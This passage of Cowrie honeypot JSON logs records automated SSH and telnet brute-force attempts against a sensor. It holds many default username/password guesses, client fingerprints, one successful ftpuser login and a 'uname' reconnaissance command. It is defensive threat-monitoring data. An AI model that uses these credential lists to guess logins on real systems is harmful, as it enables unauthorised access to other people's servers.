0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:01.289639Z","src_ip":"176.65.132.129","session":"64a23eed06b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@2026","message":"login attempt [root/root@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:01.544767Z","src_ip":"176.65.132.129","session":"64a23eed06b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:02.677521Z","src_ip":"176.65.132.129","session":"64a23eed06b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.132.125.41","src_port":57554,"dst_ip":"159.203.135.109","dst_port":22,"session":"99e9a9e075f7","protocol":"ssh","message":"New connection: 45.132.125.41:57554 (159.203.135.109:22) [session: 99e9a9e075f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:04.174146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:04.179577Z","src_ip":"45.132.125.41","session":"99e9a9e075f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:04.287499Z","src_ip":"45.132.125.41","session":"99e9a9e075f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36088,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e262dd2584b","protocol":"ssh","message":"New connection: 176.65.132.129:36088 (159.203.135.109:22) [session: 8e262dd2584b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:04.512312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:04.517467Z","src_ip":"176.65.132.129","session":"8e262dd2584b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:04.600037Z","src_ip":"176.65.132.129","session":"8e262dd2584b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"firebird","message":"login attempt [root/firebird] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:04.774747Z","src_ip":"45.132.125.41","session":"99e9a9e075f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.98006844520569,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:04.780325Z","src_ip":"152.42.224.71","session":"bceb9c02f0bc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"server","password":"server","message":"login attempt [server/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:04.977321Z","src_ip":"176.65.132.129","session":"8e262dd2584b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:05.885101Z","src_ip":"45.132.125.41","session":"99e9a9e075f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:06.064100Z","src_ip":"176.65.132.129","session":"8e262dd2584b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45186,"dst_ip":"159.203.135.109","dst_port":22,"session":"e59b35a9d346","protocol":"ssh","message":"New connection: 176.65.132.129:45186 (159.203.135.109:22) [session: e59b35a9d346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:07.911662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:07.917350Z","src_ip":"176.65.132.129","session":"e59b35a9d346","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:08.001485Z","src_ip":"176.65.132.129","session":"e59b35a9d346","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat123","message":"login attempt [tomcat/tomcat123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:08.253231Z","src_ip":"176.65.132.129","session":"e59b35a9d346","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":41000,"dst_ip":"159.203.135.109","dst_port":22,"session":"66656fee4d3e","protocol":"ssh","message":"New connection: 109.237.96.109:41000 (159.203.135.109:22) [session: 66656fee4d3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:08.910695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:08.916055Z","src_ip":"109.237.96.109","session":"66656fee4d3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:09.009453Z","src_ip":"109.237.96.109","session":"66656fee4d3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jennifer","message":"login attempt [root/jennifer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:09.297418Z","src_ip":"109.237.96.109","session":"66656fee4d3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:09.339083Z","src_ip":"176.65.132.129","session":"e59b35a9d346","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:10.393894Z","src_ip":"109.237.96.109","session":"66656fee4d3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45190,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f617ba6beff","protocol":"ssh","message":"New connection: 176.65.132.129:45190 (159.203.135.109:22) [session: 8f617ba6beff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:11.111792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:11.117012Z","src_ip":"176.65.132.129","session":"8f617ba6beff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:11.200412Z","src_ip":"176.65.132.129","session":"8f617ba6beff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"usuario","password":"usuario","message":"login attempt [usuario/usuario] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:11.450447Z","src_ip":"176.65.132.129","session":"8f617ba6beff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:12.536234Z","src_ip":"176.65.132.129","session":"8f617ba6beff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.65980267524719,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:14.469021Z","src_ip":"152.42.224.71","session":"060b27bf6bdc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45192,"dst_ip":"159.203.135.109","dst_port":22,"session":"fbe937b059dd","protocol":"ssh","message":"New connection: 176.65.132.129:45192 (159.203.135.109:22) [session: fbe937b059dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:14.477618Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.32.240.31","src_port":57682,"dst_ip":"159.203.135.109","dst_port":22,"session":"2567d1935a4b","protocol":"ssh","message":"New connection: 101.32.240.31:57682 (159.203.135.109:22) [session: 2567d1935a4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:14.487766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:14.491945Z","src_ip":"176.65.132.129","session":"fbe937b059dd","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:14.498379Z","src_ip":"101.32.240.31","session":"2567d1935a4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:14.575451Z","src_ip":"176.65.132.129","session":"fbe937b059dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:14.730204Z","src_ip":"101.32.240.31","session":"2567d1935a4b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:15.038271Z","src_ip":"176.65.132.129","session":"fbe937b059dd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:15.259027Z","src_ip":"176.65.132.129","session":"fbe937b059dd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:15.263007Z","src_ip":"176.65.132.129","session":"fbe937b059dd","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:15.351460Z","src_ip":"176.65.132.129","session":"fbe937b059dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:15.356947Z","src_ip":"176.65.132.129","session":"fbe937b059dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1966","message":"login attempt [root/1966] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:15.768724Z","src_ip":"101.32.240.31","session":"2567d1935a4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.152.132.24","src_port":46880,"dst_ip":"159.203.135.109","dst_port":22,"session":"58f5515b0254","protocol":"ssh","message":"New connection: 82.152.132.24:46880 (159.203.135.109:22) [session: 58f5515b0254]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:16.594982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:16.600720Z","src_ip":"82.152.132.24","session":"58f5515b0254","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:16.726799Z","src_ip":"82.152.132.24","session":"58f5515b0254","protocol":"ssh"}
